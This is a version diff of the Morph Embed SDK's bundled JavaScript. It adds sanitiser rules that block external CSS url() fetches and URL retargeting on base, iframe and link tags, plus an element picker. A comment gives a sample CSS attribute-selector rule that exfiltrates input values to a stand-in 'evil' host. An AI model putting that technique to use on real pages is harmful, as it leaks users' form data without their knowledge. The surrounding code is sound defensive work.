morph-embed 0.2.0 → 0.2.2

package/dist/morph-embed.esm.mjs

@@ -1,4 +1,4 @@
-/*! Morph Embed SDK v0.2.0 — https://usemorph.xyz — MIT */
+/*! Morph Embed SDK v0.2.2 — https://usemorph.xyz — MIT */
 const g = typeof window !== "undefined" ? window : globalThis;
 
 /* ---- shared/dsl.js ---- */
@@ -77,6 +77,17 @@ const g = typeof window !== "undefined" ? window : globalThis;
   // URL-bearing attribute names (used by both HTML sanitizer and setAttr guard).
   const URL_ATTRS = new Set(['href', 'src', 'srcset', 'xlink:href']);
 
+  // setAttr must never retarget the URL of these elements even to an https host:
+  // <base href> rewrites how every relative URL on the page resolves; <link>,
+  // <iframe>, <frame>, <object>, <embed> load external content in-page (a <link
+  // rel=stylesheet> also loads a stylesheet the CSS neutralizer never sees).
+  const URL_RETARGET_BLOCK_TAGS = new Set(['base', 'link', 'iframe', 'frame', 'object', 'embed', 'meta', 'form']);
+  // Cheap purely-static check: does a selector name one of those tags directly?
+  function selectorNamesBlockedTag(selector) {
+    const toks = String(selector || '').toLowerCase().match(/[a-z][a-z0-9]*/g) || [];
+    return toks.some((t) => URL_RETARGET_BLOCK_TAGS.has(t));
+  }
+
   // Modest length caps (DoS hygiene; generous enough not to clip real payloads).
   const MAX_CSS = 200000;
   const MAX_HTML = 200000;
@@ -120,6 +131,9 @@ const g = typeof window !== "undefined" ? window : globalThis;
       /behavior\s*:/.test(normalized) ||
       /-moz-binding/.test(normalized) ||
       /url\(\s*(['"]?)\s*(javascript|vbscript|mocha|livescript|data\s*:\s*text\/html|data\s*:\s*application)/.test(normalized) ||
+      // external url() (scheme or protocol-relative), except inline data:image —
+      // backstop for escape/comment-obfuscated exfil the token pass missed
+      /url\(\s*['"]?\s*(?!data:image\/)([a-z][a-z0-9+.-]*:|\/\/)/.test(normalized) ||
       /(javascript|vbscript|mocha|livescript)\s*:/.test(normalized)
     );
   }
@@ -146,6 +160,23 @@ const g = typeof window !== "undefined" ? window : globalThis;
       /url\(\s*(['"]?)((?:\/\*[\s\S]*?\*\/|\s)*)(javascript|vbscript|mocha|livescript|data\s*:\s*text\/html|data\s*:\s*application)[^)]*\)/gi,
       'url($1about:blank#)'
     );
+    // EXTERNAL url() exfiltration channel: a model reshape must never fetch an
+    // off-page resource (the product is reshape-only, on-page data only). An
+    // attribute-selector rule like input[value^="a"]{background:url(//evil/a)}
+    // leaks page secrets to an attacker host with zero interaction. Neutralize
+    // any url() whose target is absolute (has a scheme) or protocol-relative
+    // (//host), EXCEPT data:image/* (inline, no network). Relative paths
+    // (same-origin, can't exfiltrate cross-origin) are preserved.
+    out = out.replace(/url\(([^)]*)\)/gi, function (full, inner) {
+      const target = String(inner)
+        .replace(/\/\*[\s\S]*?\*\//g, '')            // comments
+        .trim()
+        .replace(/^(['"])([\s\S]*)\1$/, '$2')        // matched quotes
+        .trim();
+      if (/^data:image\//i.test(target)) return full;             // inline image OK
+      if (/^([a-z][a-z0-9+.-]*:|\/\/)/i.test(target)) return 'url(about:blank#)'; // scheme or //host -> block
+      return full;                                                 // relative -> OK
+    });
     // bare scheme prefixes inside the value (style attr context)
     if (mode === 'style') {
       out = out.replace(/(javascript|vbscript|mocha|livescript)\s*:/gi, '');
@@ -381,6 +412,11 @@ const g = typeof window !== "undefined" ? window : globalThis;
       const n = normalizeAttrName(op.name);
       if (n.startsWith('on')) return 'event-handler attr blocked';
       if (!ALLOWED_ATTRS.has(n)) return 'attr not allowed: ' + n;
+      // Refuse to retarget a URL attribute onto <base>/<iframe>/<link>/… — even
+      // to https — because that loads external content or reroutes the page.
+      if (URL_ATTRS.has(n) && selectorNamesBlockedTag(op.selector)) {
+        return 'url retarget on ' + n + ' blocked for framing/base/link targets';
+      }
     }
     // renderData: chart type + position must be from the fixed sets. The op has
     // two forms; either way the actual numbers come from caller-attached data at
@@ -651,8 +687,13 @@ const g = typeof window !== "undefined" ? window : globalThis;
         return () => els.forEach((el, i) => { el.textContent = prev[i]; });
       }
       case 'setAttr': {
-        const els = resolveEls(doc, op);
+        let els = resolveEls(doc, op);
         if (op.name.toLowerCase().startsWith('on')) throw new Error('event-handler attr blocked');
+        // Airtight, selector-independent backstop: never write a URL attribute
+        // onto a framing/base/link element regardless of how it was matched.
+        if (URL_ATTRS.has(normalizeAttrName(op.name))) {
+          els = els.filter((el) => !URL_RETARGET_BLOCK_TAGS.has(String(el.tagName || '').toLowerCase()));
+        }
         if (!els.length) return null;
         const prev = els.map((el) => (el.hasAttribute(op.name) ? el.getAttribute(op.name) : null));
         els.forEach((el) => el.setAttribute(op.name, op.value));
@@ -910,7 +951,10 @@ const g = typeof window !== "undefined" ? window : globalThis;
       }
       case 'setAttr': {
         if (op.name.toLowerCase().startsWith('on')) return { touched: 0 };
-        const els = unmarked(doc, op.selector, token);
+        let els = unmarked(doc, op.selector, token);
+        if (URL_ATTRS.has(normalizeAttrName(op.name))) {
+          els = els.filter((el) => !URL_RETARGET_BLOCK_TAGS.has(String(el.tagName || '').toLowerCase()));
+        }
         if (!els.length) return { touched: 0 };
         const prev = els.map((el) => (el.hasAttribute(op.name) ? el.getAttribute(op.name) : null));
         els.forEach((el) => { el.setAttribute(op.name, op.value); reconAdd(el, token); });
@@ -2270,7 +2314,9 @@ const g = typeof window !== "undefined" ? window : globalThis;
   function aimActive(on) { if (els && els.aim) els.aim.classList.toggle('on', !!on); }
 
   window.Morph.bar = {
-    mount(h) { handlers = h || {}; if (!host) build(); },
+    // No onPick handler -> no picker in this embedding: hide the ⌖ button so
+    // users never see a dead control (the extension always passes onPick).
+    mount(h) { handlers = h || {}; if (!host) build(); if (els && els.aim) els.aim.style.display = handlers.onPick ? '' : 'none'; },
     show, hide, toggle,
     setStatus, clearStatus, setBusy, showActions,
     isVisible: () => visible,
@@ -2290,6 +2336,152 @@ const g = typeof window !== "undefined" ? window : globalThis;
 })();
 
 
+/* ---- extension/src/picker.js ---- */
+/*
+ * Element picker — lets the user click a specific element on the page so the next
+ * reshape is scoped to it (and its descendants) instead of the model guessing
+ * selectors across the whole page.
+ *
+ *   start(onPick, onCancel) : enter pick mode (hover highlights, click selects, Esc cancels)
+ *   stop()                  : leave pick mode
+ *   selectorFor(el, doc)    : PURE — a stable-ish unique CSS selector for el
+ *   describe(el)            : PURE — a short human label for el
+ *
+ * Attaches to window.Morph.picker. Pure helpers are CJS-exported for tests.
+ */
+(function () {
+  'use strict';
+  window.Morph = window.Morph || {};
+
+  // Prefer the spec-correct native CSS.escape (all modern browsers have it). Fall
+  // back (e.g. jsdom / very old engines) to a regex that backslash-escapes any
+  // non-identifier char AND escapes a leading digit per the CSS spec — otherwise
+  // an id like "2col" yields the INVALID selector "#2col", which throws at
+  // querySelectorAll and forces a weaker, possibly non-unique path.
+  function cssEscape(s) {
+    s = String(s);
+    if (typeof window !== 'undefined' && window.CSS && typeof window.CSS.escape === 'function') {
+      return window.CSS.escape(s);
+    }
+    return s.replace(/[^a-zA-Z0-9_-]/g, (c) => '\\' + c).replace(/^([0-9])/, (m, d) => '\\3' + d + ' ');
+  }
+
+  // A reasonably-unique selector: prefer a unique #id (anchoring the path there if
+  // an ancestor has one), else a short `>`-path with :nth-of-type disambiguation.
+  function selectorFor(el, doc) {
+    doc = doc || (el && el.ownerDocument) || (typeof document !== 'undefined' ? document : null);
+    if (!el || el.nodeType !== 1 || !doc) return '';
+    if (el.id) {
+      const sel = '#' + cssEscape(el.id);
+      try { if (doc.querySelectorAll(sel).length === 1) return sel; } catch (_) { /* keep going */ }
+    }
+    const parts = [];
+    let node = el;
+    let depth = 0;
+    while (node && node.nodeType === 1 && node !== doc.body && node !== doc.documentElement && depth < 6) {
+      if (node.id) {
+        const idSel = '#' + cssEscape(node.id);
+        let unique = false;
+        try { unique = doc.querySelectorAll(idSel).length === 1; } catch (_) { unique = false; }
+        if (unique) { parts.unshift(idSel); return parts.join(' > '); }
+      }
+      let part = node.tagName.toLowerCase();
+      const parent = node.parentNode;
+      if (parent && parent.children) {
+        const sameTag = Array.prototype.filter.call(parent.children, (c) => c.tagName === node.tagName);
+        if (sameTag.length > 1) part += ':nth-of-type(' + (sameTag.indexOf(node) + 1) + ')';
+      }
+      parts.unshift(part);
+      node = node.parentNode;
+      depth++;
+    }
+    return parts.join(' > ');
+  }
+
+  function describe(el) {
+    if (!el || el.nodeType !== 1) return 'element';
+    let s = el.tagName.toLowerCase();
+    if (el.id) s += '#' + el.id;
+    else if (el.classList && el.classList.length) s += '.' + el.classList[0];
+    const text = (el.textContent || '').replace(/\s+/g, ' ').trim().slice(0, 24);
+    if (text) s += ' “' + text + '”';
+    return s;
+  }
+
+  // --- interactive pick mode (needs a live DOM) -----------------------------
+  let active = false, overlay = null, current = null, pickCb = null, cancelCb = null;
+
+  function ensureOverlay() {
+    if (overlay) return overlay;
+    overlay = document.createElement('div');
+    overlay.setAttribute('data-morph-pick-overlay', '1');
+    const s = overlay.style;
+    s.position = 'fixed'; s.zIndex = '2147483646'; s.pointerEvents = 'none';
+    s.border = '2px solid #ffffff'; s.boxShadow = '0 0 0 1px #000, 0 0 0 4px rgba(255,255,255,0.25)';
+    s.background = 'rgba(255,255,255,0.06)'; s.borderRadius = '2px'; s.display = 'none';
+    s.transition = 'left .04s linear, top .04s linear, width .04s linear, height .04s linear';
+    return overlay;
+  }
+
+  // Never let the picker target Morph's own UI (the bar host or this overlay).
+  function isOurs(el) {
+    try { return !!(el && el.closest && el.closest('#morph-host-root, [data-morph-pick-overlay]')); }
+    catch (_) { return false; }
+  }
+
+  function moveOverlay(el) {
+    const r = el.getBoundingClientRect();
+    const s = overlay.style;
+    s.display = 'block';
+    s.left = r.left + 'px'; s.top = r.top + 'px'; s.width = r.width + 'px'; s.height = r.height + 'px';
+  }
+
+  function onMove(e) {
+    const el = e.target;
+    if (!el || isOurs(el)) { overlay.style.display = 'none'; current = null; return; }
+    current = el;
+    try { moveOverlay(el); } catch (_) { /* never break the page */ }
+  }
+  function onClick(e) {
+    if (isOurs(e.target)) return;          // let our own UI receive clicks
+    e.preventDefault(); e.stopPropagation();
+    finish(current || e.target);
+  }
+  function onKey(e) { if (e.key === 'Escape') { e.preventDefault(); cancel(); } }
+
+  function teardown() {
+    active = false; current = null;
+    try {
+      document.removeEventListener('mousemove', onMove, true);
+      document.removeEventListener('click', onClick, true);
+      document.removeEventListener('keydown', onKey, true);
+      if (document.documentElement) document.documentElement.style.cursor = '';
+      if (overlay) overlay.style.display = 'none';
+    } catch (_) { /* noop */ }
+  }
+  function finish(el) { const cb = pickCb; teardown(); if (cb) { try { cb(el); } catch (_) {} } }
+  function cancel() { const cb = cancelCb; teardown(); if (cb) { try { cb(); } catch (_) {} } }
+
+  function start(onPick, onCancel) {
+    if (active) return;
+    active = true; pickCb = onPick; cancelCb = onCancel;
+    try {
+      ensureOverlay();
+      (document.body || document.documentElement).appendChild(overlay);
+      document.addEventListener('mousemove', onMove, true);
+      document.addEventListener('click', onClick, true);
+      document.addEventListener('keydown', onKey, true);
+      if (document.documentElement) document.documentElement.style.cursor = 'crosshair';
+    } catch (_) { teardown(); }
+  }
+  function stop() { teardown(); }
+  function isActive() { return active; }
+
+  window.Morph.picker = { start, stop, isActive, selectorFor, describe };
+  if (typeof module !== 'undefined' && module.exports) module.exports = { selectorFor, describe };
+})();
+
+
 /* ---- sdk/src/ui.js ---- */
 /*
  * Morph SDK — UI layer: launcher + edits panel + undo toast, isolated in a
@@ -2667,6 +2859,7 @@ const g = typeof window !== "undefined" ? window : globalThis;
     const store = deps.store;
     const bar = deps.bar;
     const ui = deps.ui || null;
+    const picker = deps.picker || null;
     const extractContext = deps.extractContext;
     const fetchFn = deps.fetchFn;
     const stageDelays = deps.stageDelays || STAGE_DELAYS;
@@ -2700,10 +2893,68 @@ const g = typeof window !== "undefined" ? window : globalThis;
       }
       backend = (typeof config.backend === 'string' && config.backend)
         ? config.backend.replace(/\/$/, '') : DEFAULT_BACKEND;
-      bar.mount({ onSubmit, onUndo });
+      // onPick only when a picker exists — the bar hides the ⌖ button when
+      // no handler is passed, so users never see a dead control.
+      const handlers = { onSubmit, onUndo, onHide };
+      if (picker) handlers.onPick = onPick;
+      bar.mount(handlers);
       return api;
     }
 
+    // ---- element targeting (mirrors extension/src/content.js) --------------
+    let activeTarget = null; // { selector, label } while the user has a pick
+
+    function escapeHtml(s) {
+      return String(s).replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;');
+    }
+    function outlineTarget(el) {
+      try {
+        if (!win.document.getElementById('morph-sdk-target-style')) {
+          const st = win.document.createElement('style');
+          st.id = 'morph-sdk-target-style';
+          st.textContent = '[data-morph-targeted="1"]{outline:2px solid #4c8dff !important;outline-offset:2px !important;}';
+          win.document.documentElement.appendChild(st);
+        }
+        el.setAttribute('data-morph-targeted', '1');
+      } catch (_) { /* cosmetic only */ }
+    }
+    function clearTargetState() {
+      activeTarget = null;
+      try {
+        const el = win.document.querySelector('[data-morph-targeted="1"]');
+        if (el) el.removeAttribute('data-morph-targeted');
+      } catch (_) { /* noop */ }
+      try { bar.clearTarget(); } catch (_) { /* bar optional */ }
+    }
+    function targetHtml() {
+      try {
+        const el = activeTarget && win.document.querySelector(activeTarget.selector);
+        return el ? String(el.outerHTML).slice(0, 4000) : '';
+      } catch (_) { return ''; }
+    }
+    function onPick() {
+      if (!picker || !picker.start) return;
+      try { bar.setStatus('Click any element on the page to target it — Esc to cancel.', ''); } catch (_) { /* noop */ }
+      picker.start((el) => {
+        try {
+          const selector = picker.selectorFor(el, win.document);
+          if (!selector) { bar.setStatus('Couldn’t target that element — try another.', 'err'); return; }
+          activeTarget = { selector, label: picker.describe(el) };
+          outlineTarget(el);
+          bar.setTarget({ label: activeTarget.label, onClear: clearTargetState });
+          bar.setStatus('Targeting <b>' + escapeHtml(activeTarget.label) + '</b>. Now type how to change it.', 'ok');
+          if (bar.focusInput) bar.focusInput();
+        } catch (_) { /* never break the page */ }
+      }, () => {
+        try { bar.aimActive(false); bar.setStatus('Pick cancelled.', ''); } catch (_) { /* noop */ }
+      });
+    }
+    // Closing the bar ends targeting: cancel any in-progress pick, drop the chip.
+    function onHide() {
+      try { if (picker && picker.stop) picker.stop(); } catch (_) { /* noop */ }
+      clearTargetState();
+    }
+
     // Confirm gate for actions. window.confirm is trusted browser chrome the
     // page can't spoof; a bar-styled dialog can replace it later.
     function confirmFn(name, description) {
@@ -2717,7 +2968,7 @@ const g = typeof window !== "undefined" ? window : globalThis;
         () => { try { bar.setStatus('✓ Action "' + name + '" done.', 'ok'); } catch (_) { /* bar gone */ } },
         (e) => {
           const msg = String((e && e.message) || e);
-          try { bar.setStatus(/declined/.test(msg) ? 'Action cancelled.' : 'Action failed: ' + msg, /declined/.test(msg) ? '' : 'err'); } catch (_) { /* bar gone */ }
+          try { bar.setStatus(/declined/.test(msg) ? 'Action cancelled.' : 'Action failed: ' + escapeHtml(msg), /declined/.test(msg) ? '' : 'err'); } catch (_) { /* bar gone */ }
         }
       );
     }
@@ -2798,6 +3049,7 @@ const g = typeof window !== "undefined" ? window : globalThis;
       let resp;
       try {
         const body = { prompt, context, url: win.location.href };
+        if (activeTarget) body.target = { selector: activeTarget.selector, html: targetHtml() };
         if (registry.hasSources() || registry.hasActions()) body.manifests = registry.manifests();
         const r = await fetchFn(backend + '/api/transform', {
           method: 'POST',
@@ -2811,7 +3063,7 @@ const g = typeof window !== "undefined" ? window : globalThis;
         resp = await r.json();
       } catch (e) {
         clearStages();
-        try { bar.setBusy(false); bar.setStatus('Could not reach Morph: ' + String((e && e.message) || e), 'err'); } catch (_) { /* noop */ }
+        try { bar.setBusy(false); bar.setStatus('Could not reach Morph: ' + escapeHtml(String((e && e.message) || e)), 'err'); } catch (_) { /* noop */ }
         return;
       }
       clearStages();
@@ -2840,7 +3092,9 @@ const g = typeof window !== "undefined" ? window : globalThis;
         const edit = await store.appendEdit(pathKey(), anchored, { prompt });
         const note = handle.failed ? ' (' + handle.failed + ' op(s) skipped)' : '';
         const explanation = (resp.transform && resp.transform.explanation) || 'Done.';
-        bar.setStatus('✓ ' + explanation + ' Saved for this page.' + note, 'ok');
+        // setStatus renders TRUSTED HTML (innerHTML) — escape the model's
+        // free-text explanation, exactly as the extension does (content.js).
+        bar.setStatus('✓ ' + escapeHtml(explanation) + ' Saved for this page.' + note, 'ok');
         bar.showActions(true);
         try { bar.clearInput(); } catch (_) { /* noop */ }
         await refreshCount();
@@ -2966,7 +3220,8 @@ const g = typeof window !== "undefined" ? window : globalThis;
       });
       const embed = createEmbed({
         config, win: window, DSL: window.MorphDSL, registry, store,
-        bar: window.Morph.bar, ui, extractContext: window.Morph.extractContext,
+        bar: window.Morph.bar, ui, picker: window.Morph.picker,
+        extractContext: window.Morph.extractContext,
         fetchFn: doFetch, compose: window.MorphStorage.composeEdits,
       });
       embed.init();

package/dist/morph-embed.js

@@ -1,4 +1,4 @@
-/*! Morph Embed SDK v0.2.0 — https://usemorph.xyz — MIT */
+/*! Morph Embed SDK v0.2.2 — https://usemorph.xyz — MIT */
 
 /* ---- shared/dsl.js ---- */
 /*
@@ -76,6 +76,17 @@
   // URL-bearing attribute names (used by both HTML sanitizer and setAttr guard).
   const URL_ATTRS = new Set(['href', 'src', 'srcset', 'xlink:href']);
 
+  // setAttr must never retarget the URL of these elements even to an https host:
+  // <base href> rewrites how every relative URL on the page resolves; <link>,
+  // <iframe>, <frame>, <object>, <embed> load external content in-page (a <link
+  // rel=stylesheet> also loads a stylesheet the CSS neutralizer never sees).
+  const URL_RETARGET_BLOCK_TAGS = new Set(['base', 'link', 'iframe', 'frame', 'object', 'embed', 'meta', 'form']);
+  // Cheap purely-static check: does a selector name one of those tags directly?
+  function selectorNamesBlockedTag(selector) {
+    const toks = String(selector || '').toLowerCase().match(/[a-z][a-z0-9]*/g) || [];
+    return toks.some((t) => URL_RETARGET_BLOCK_TAGS.has(t));
+  }
+
   // Modest length caps (DoS hygiene; generous enough not to clip real payloads).
   const MAX_CSS = 200000;
   const MAX_HTML = 200000;
@@ -119,6 +130,9 @@
       /behavior\s*:/.test(normalized) ||
       /-moz-binding/.test(normalized) ||
       /url\(\s*(['"]?)\s*(javascript|vbscript|mocha|livescript|data\s*:\s*text\/html|data\s*:\s*application)/.test(normalized) ||
+      // external url() (scheme or protocol-relative), except inline data:image —
+      // backstop for escape/comment-obfuscated exfil the token pass missed
+      /url\(\s*['"]?\s*(?!data:image\/)([a-z][a-z0-9+.-]*:|\/\/)/.test(normalized) ||
       /(javascript|vbscript|mocha|livescript)\s*:/.test(normalized)
     );
   }
@@ -145,6 +159,23 @@
       /url\(\s*(['"]?)((?:\/\*[\s\S]*?\*\/|\s)*)(javascript|vbscript|mocha|livescript|data\s*:\s*text\/html|data\s*:\s*application)[^)]*\)/gi,
       'url($1about:blank#)'
     );
+    // EXTERNAL url() exfiltration channel: a model reshape must never fetch an
+    // off-page resource (the product is reshape-only, on-page data only). An
+    // attribute-selector rule like input[value^="a"]{background:url(//evil/a)}
+    // leaks page secrets to an attacker host with zero interaction. Neutralize
+    // any url() whose target is absolute (has a scheme) or protocol-relative
+    // (//host), EXCEPT data:image/* (inline, no network). Relative paths
+    // (same-origin, can't exfiltrate cross-origin) are preserved.
+    out = out.replace(/url\(([^)]*)\)/gi, function (full, inner) {
+      const target = String(inner)
+        .replace(/\/\*[\s\S]*?\*\//g, '')            // comments
+        .trim()
+        .replace(/^(['"])([\s\S]*)\1$/, '$2')        // matched quotes
+        .trim();
+      if (/^data:image\//i.test(target)) return full;             // inline image OK
+      if (/^([a-z][a-z0-9+.-]*:|\/\/)/i.test(target)) return 'url(about:blank#)'; // scheme or //host -> block
+      return full;                                                 // relative -> OK
+    });
     // bare scheme prefixes inside the value (style attr context)
     if (mode === 'style') {
       out = out.replace(/(javascript|vbscript|mocha|livescript)\s*:/gi, '');
@@ -380,6 +411,11 @@
       const n = normalizeAttrName(op.name);
       if (n.startsWith('on')) return 'event-handler attr blocked';
       if (!ALLOWED_ATTRS.has(n)) return 'attr not allowed: ' + n;
+      // Refuse to retarget a URL attribute onto <base>/<iframe>/<link>/… — even
+      // to https — because that loads external content or reroutes the page.
+      if (URL_ATTRS.has(n) && selectorNamesBlockedTag(op.selector)) {
+        return 'url retarget on ' + n + ' blocked for framing/base/link targets';
+      }
     }
     // renderData: chart type + position must be from the fixed sets. The op has
     // two forms; either way the actual numbers come from caller-attached data at
@@ -650,8 +686,13 @@
         return () => els.forEach((el, i) => { el.textContent = prev[i]; });
       }
       case 'setAttr': {
-        const els = resolveEls(doc, op);
+        let els = resolveEls(doc, op);
         if (op.name.toLowerCase().startsWith('on')) throw new Error('event-handler attr blocked');
+        // Airtight, selector-independent backstop: never write a URL attribute
+        // onto a framing/base/link element regardless of how it was matched.
+        if (URL_ATTRS.has(normalizeAttrName(op.name))) {
+          els = els.filter((el) => !URL_RETARGET_BLOCK_TAGS.has(String(el.tagName || '').toLowerCase()));
+        }
         if (!els.length) return null;
         const prev = els.map((el) => (el.hasAttribute(op.name) ? el.getAttribute(op.name) : null));
         els.forEach((el) => el.setAttribute(op.name, op.value));
@@ -909,7 +950,10 @@
       }
       case 'setAttr': {
         if (op.name.toLowerCase().startsWith('on')) return { touched: 0 };
-        const els = unmarked(doc, op.selector, token);
+        let els = unmarked(doc, op.selector, token);
+        if (URL_ATTRS.has(normalizeAttrName(op.name))) {
+          els = els.filter((el) => !URL_RETARGET_BLOCK_TAGS.has(String(el.tagName || '').toLowerCase()));
+        }
         if (!els.length) return { touched: 0 };
         const prev = els.map((el) => (el.hasAttribute(op.name) ? el.getAttribute(op.name) : null));
         els.forEach((el) => { el.setAttribute(op.name, op.value); reconAdd(el, token); });
@@ -2269,7 +2313,9 @@
   function aimActive(on) { if (els && els.aim) els.aim.classList.toggle('on', !!on); }
 
   window.Morph.bar = {
-    mount(h) { handlers = h || {}; if (!host) build(); },
+    // No onPick handler -> no picker in this embedding: hide the ⌖ button so
+    // users never see a dead control (the extension always passes onPick).
+    mount(h) { handlers = h || {}; if (!host) build(); if (els && els.aim) els.aim.style.display = handlers.onPick ? '' : 'none'; },
     show, hide, toggle,
     setStatus, clearStatus, setBusy, showActions,
     isVisible: () => visible,
@@ -2289,6 +2335,152 @@
 })();
 
 
+/* ---- extension/src/picker.js ---- */
+/*
+ * Element picker — lets the user click a specific element on the page so the next
+ * reshape is scoped to it (and its descendants) instead of the model guessing
+ * selectors across the whole page.
+ *
+ *   start(onPick, onCancel) : enter pick mode (hover highlights, click selects, Esc cancels)
+ *   stop()                  : leave pick mode
+ *   selectorFor(el, doc)    : PURE — a stable-ish unique CSS selector for el
+ *   describe(el)            : PURE — a short human label for el
+ *
+ * Attaches to window.Morph.picker. Pure helpers are CJS-exported for tests.
+ */
+(function () {
+  'use strict';
+  window.Morph = window.Morph || {};
+
+  // Prefer the spec-correct native CSS.escape (all modern browsers have it). Fall
+  // back (e.g. jsdom / very old engines) to a regex that backslash-escapes any
+  // non-identifier char AND escapes a leading digit per the CSS spec — otherwise
+  // an id like "2col" yields the INVALID selector "#2col", which throws at
+  // querySelectorAll and forces a weaker, possibly non-unique path.
+  function cssEscape(s) {
+    s = String(s);
+    if (typeof window !== 'undefined' && window.CSS && typeof window.CSS.escape === 'function') {
+      return window.CSS.escape(s);
+    }
+    return s.replace(/[^a-zA-Z0-9_-]/g, (c) => '\\' + c).replace(/^([0-9])/, (m, d) => '\\3' + d + ' ');
+  }
+
+  // A reasonably-unique selector: prefer a unique #id (anchoring the path there if
+  // an ancestor has one), else a short `>`-path with :nth-of-type disambiguation.
+  function selectorFor(el, doc) {
+    doc = doc || (el && el.ownerDocument) || (typeof document !== 'undefined' ? document : null);
+    if (!el || el.nodeType !== 1 || !doc) return '';
+    if (el.id) {
+      const sel = '#' + cssEscape(el.id);
+      try { if (doc.querySelectorAll(sel).length === 1) return sel; } catch (_) { /* keep going */ }
+    }
+    const parts = [];
+    let node = el;
+    let depth = 0;
+    while (node && node.nodeType === 1 && node !== doc.body && node !== doc.documentElement && depth < 6) {
+      if (node.id) {
+        const idSel = '#' + cssEscape(node.id);
+        let unique = false;
+        try { unique = doc.querySelectorAll(idSel).length === 1; } catch (_) { unique = false; }
+        if (unique) { parts.unshift(idSel); return parts.join(' > '); }
+      }
+      let part = node.tagName.toLowerCase();
+      const parent = node.parentNode;
+      if (parent && parent.children) {
+        const sameTag = Array.prototype.filter.call(parent.children, (c) => c.tagName === node.tagName);
+        if (sameTag.length > 1) part += ':nth-of-type(' + (sameTag.indexOf(node) + 1) + ')';
+      }
+      parts.unshift(part);
+      node = node.parentNode;
+      depth++;
+    }
+    return parts.join(' > ');
+  }
+
+  function describe(el) {
+    if (!el || el.nodeType !== 1) return 'element';
+    let s = el.tagName.toLowerCase();
+    if (el.id) s += '#' + el.id;
+    else if (el.classList && el.classList.length) s += '.' + el.classList[0];
+    const text = (el.textContent || '').replace(/\s+/g, ' ').trim().slice(0, 24);
+    if (text) s += ' “' + text + '”';
+    return s;
+  }
+
+  // --- interactive pick mode (needs a live DOM) -----------------------------
+  let active = false, overlay = null, current = null, pickCb = null, cancelCb = null;
+
+  function ensureOverlay() {
+    if (overlay) return overlay;
+    overlay = document.createElement('div');
+    overlay.setAttribute('data-morph-pick-overlay', '1');
+    const s = overlay.style;
+    s.position = 'fixed'; s.zIndex = '2147483646'; s.pointerEvents = 'none';
+    s.border = '2px solid #ffffff'; s.boxShadow = '0 0 0 1px #000, 0 0 0 4px rgba(255,255,255,0.25)';
+    s.background = 'rgba(255,255,255,0.06)'; s.borderRadius = '2px'; s.display = 'none';
+    s.transition = 'left .04s linear, top .04s linear, width .04s linear, height .04s linear';
+    return overlay;
+  }
+
+  // Never let the picker target Morph's own UI (the bar host or this overlay).
+  function isOurs(el) {
+    try { return !!(el && el.closest && el.closest('#morph-host-root, [data-morph-pick-overlay]')); }
+    catch (_) { return false; }
+  }
+
+  function moveOverlay(el) {
+    const r = el.getBoundingClientRect();
+    const s = overlay.style;
+    s.display = 'block';
+    s.left = r.left + 'px'; s.top = r.top + 'px'; s.width = r.width + 'px'; s.height = r.height + 'px';
+  }
+
+  function onMove(e) {
+    const el = e.target;
+    if (!el || isOurs(el)) { overlay.style.display = 'none'; current = null; return; }
+    current = el;
+    try { moveOverlay(el); } catch (_) { /* never break the page */ }
+  }
+  function onClick(e) {
+    if (isOurs(e.target)) return;          // let our own UI receive clicks
+    e.preventDefault(); e.stopPropagation();
+    finish(current || e.target);
+  }
+  function onKey(e) { if (e.key === 'Escape') { e.preventDefault(); cancel(); } }
+
+  function teardown() {
+    active = false; current = null;
+    try {
+      document.removeEventListener('mousemove', onMove, true);
+      document.removeEventListener('click', onClick, true);
+      document.removeEventListener('keydown', onKey, true);
+      if (document.documentElement) document.documentElement.style.cursor = '';
+      if (overlay) overlay.style.display = 'none';
+    } catch (_) { /* noop */ }
+  }
+  function finish(el) { const cb = pickCb; teardown(); if (cb) { try { cb(el); } catch (_) {} } }
+  function cancel() { const cb = cancelCb; teardown(); if (cb) { try { cb(); } catch (_) {} } }
+
+  function start(onPick, onCancel) {
+    if (active) return;
+    active = true; pickCb = onPick; cancelCb = onCancel;
+    try {
+      ensureOverlay();
+      (document.body || document.documentElement).appendChild(overlay);
+      document.addEventListener('mousemove', onMove, true);
+      document.addEventListener('click', onClick, true);
+      document.addEventListener('keydown', onKey, true);
+      if (document.documentElement) document.documentElement.style.cursor = 'crosshair';
+    } catch (_) { teardown(); }
+  }
+  function stop() { teardown(); }
+  function isActive() { return active; }
+
+  window.Morph.picker = { start, stop, isActive, selectorFor, describe };
+  if (typeof module !== 'undefined' && module.exports) module.exports = { selectorFor, describe };
+})();
+
+
 /* ---- sdk/src/ui.js ---- */
 /*
  * Morph SDK — UI layer: launcher + edits panel + undo toast, isolated in a
@@ -2666,6 +2858,7 @@
     const store = deps.store;
     const bar = deps.bar;
     const ui = deps.ui || null;
+    const picker = deps.picker || null;
     const extractContext = deps.extractContext;
     const fetchFn = deps.fetchFn;
     const stageDelays = deps.stageDelays || STAGE_DELAYS;
@@ -2699,10 +2892,68 @@
       }
       backend = (typeof config.backend === 'string' && config.backend)
         ? config.backend.replace(/\/$/, '') : DEFAULT_BACKEND;
-      bar.mount({ onSubmit, onUndo });
+      // onPick only when a picker exists — the bar hides the ⌖ button when
+      // no handler is passed, so users never see a dead control.
+      const handlers = { onSubmit, onUndo, onHide };
+      if (picker) handlers.onPick = onPick;
+      bar.mount(handlers);
       return api;
     }
 
+    // ---- element targeting (mirrors extension/src/content.js) --------------
+    let activeTarget = null; // { selector, label } while the user has a pick
+
+    function escapeHtml(s) {
+      return String(s).replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;');
+    }
+    function outlineTarget(el) {
+      try {
+        if (!win.document.getElementById('morph-sdk-target-style')) {
+          const st = win.document.createElement('style');
+          st.id = 'morph-sdk-target-style';
+          st.textContent = '[data-morph-targeted="1"]{outline:2px solid #4c8dff !important;outline-offset:2px !important;}';
+          win.document.documentElement.appendChild(st);
+        }
+        el.setAttribute('data-morph-targeted', '1');
+      } catch (_) { /* cosmetic only */ }
+    }
+    function clearTargetState() {
+      activeTarget = null;
+      try {
+        const el = win.document.querySelector('[data-morph-targeted="1"]');
+        if (el) el.removeAttribute('data-morph-targeted');
+      } catch (_) { /* noop */ }
+      try { bar.clearTarget(); } catch (_) { /* bar optional */ }
+    }
+    function targetHtml() {
+      try {
+        const el = activeTarget && win.document.querySelector(activeTarget.selector);
+        return el ? String(el.outerHTML).slice(0, 4000) : '';
+      } catch (_) { return ''; }
+    }
+    function onPick() {
+      if (!picker || !picker.start) return;
